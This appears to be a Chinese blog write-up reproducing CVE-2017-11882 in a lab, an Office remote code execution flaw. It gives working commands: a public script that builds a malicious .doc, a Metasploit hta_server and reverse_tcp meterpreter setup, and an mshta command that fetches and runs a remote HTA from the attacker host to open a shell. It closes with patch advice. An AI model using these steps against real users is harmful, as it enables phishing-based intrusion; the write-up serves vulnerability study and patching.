• CVE-2017-11882复现-office命令执行


    0x01 前言

    11月14日,微软按照惯例发布了11月的安全更新,随后不久,安全公司EMBEDI在官方博客上公开了其向微软提交的编号为CVE-2017-11882的Office远程代码执行漏洞:

    https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

    讲述了他们如何发现这个漏洞的过程,并揭露了该漏洞的部分技术细节,不过没有公开漏洞验证代码(PoC)。

    我们根据EMBEDI的这篇报告,并结合自身的分析,第一时间构造出了可以弹出计算器的PoC,并得出结论:该漏洞的利用代码非常简单而且稳定,极易用于黑客攻击,特别是钓鱼邮件攻击:利用漏洞可以很容易构造出包括恶意代码的Office文档,点击后无需任何用户交互就可以远程执行任意代码。同时,漏洞影响所有的Microsoft Office版本以及Office 365。意识到问题的严重性之后,我们发布了CVE-2017-11882的第一次预警通告。

    0x02 测试环境

    攻击机:kali2.0 ip:192.168.42.162
    受害机:win7 office2007

      使用 Ridter 师傅改进过的脚本:

    https://github.com/Ridter/CVE-2017-11882/

    生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:

    python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

    既然能够实现弹出,那我们可以构造执行 powershell 直接获取 msf 会话

     0x03 深入利用

     在利用前需要了解下什么是hta,HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。它的程序码可以像 HTML 一样被编辑和检查。在 hta 文件中 VBScript 和 JavaScript 的程序码可以任意混合。HTA 虽然用 HTML、JS 和 CSS 编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。hta 本来就是被设计为桌面程序的。

     1.利用msf生成powershell 的利用脚本

    选择利用模块,设置下路径

    use exploit/windows/misc/hta_server
    set URIPATH test

    选择监听模块,设置下本机ip,运行

    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.42.162
    exploit

     

     

     这里使用的是 43 字符限制的脚本 ( github 上还有 109 字符限制的脚本),命令长度有 43 字符的限制,可以使用 URIPATH 设置路径,尽量短一点,避免加起来超过 43 字符,这里生成的代码 payload 是:

    mshta.exe http://192.168.42.162:8080/test

     2.使用脚本生成漏洞doc文件,代码如下:

    python Command43b_CVE-2017-11882.py -c "mshta.exe http://192.168.42.162:8080/test" -o exp.doc

    测试机打开 doc 文件后就会通过 mshta 去执行链接中的 hta 嵌套的 VBS 代码,从而执行 powershell 命令,随便用一个浏览器打开链接,就可以下载到 test.hta,文件内容如下:

     

    3、测试机打开文件后,攻击机就会获取到 msf 会话。

     

    现在我们已经获取到了win7的shell,这里要注意下,因为我们这里结合了powershell来获取msf的回话,然而xp系统上默认没有powershell,所以在xp上需要先安装powershell才能得到回话。下载powershell通过命令执行也可以下载安装,详情请百度下,这里就不过多的累赘了。

    0x04 修复方案

    目前微软公司已经发布了安全补丁下载微软对此漏洞补丁:

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

    大家可以安装补丁修复该漏洞并开启自动更新功能,另外大部分杀软已经采取了防御措施,经测试部分杀软直接把 mshta、rundll32、powershell 执行的命令都会做相关拦截,并提示给用户这是恶意操作。

     

  • 相关阅读:
    使用Java发送qq邮件
    docker部署nacos1.4
    职责链模式
    策略模式
    状态模式
    解释器模式
    备忘录模式
    js中数组常用方法总结
    微信小程序生成二维码工具
    小程序登录过程
  • 原文地址:https://www.cnblogs.com/dggsec/p/10169152.html
Copyright © 2020-2023  润新知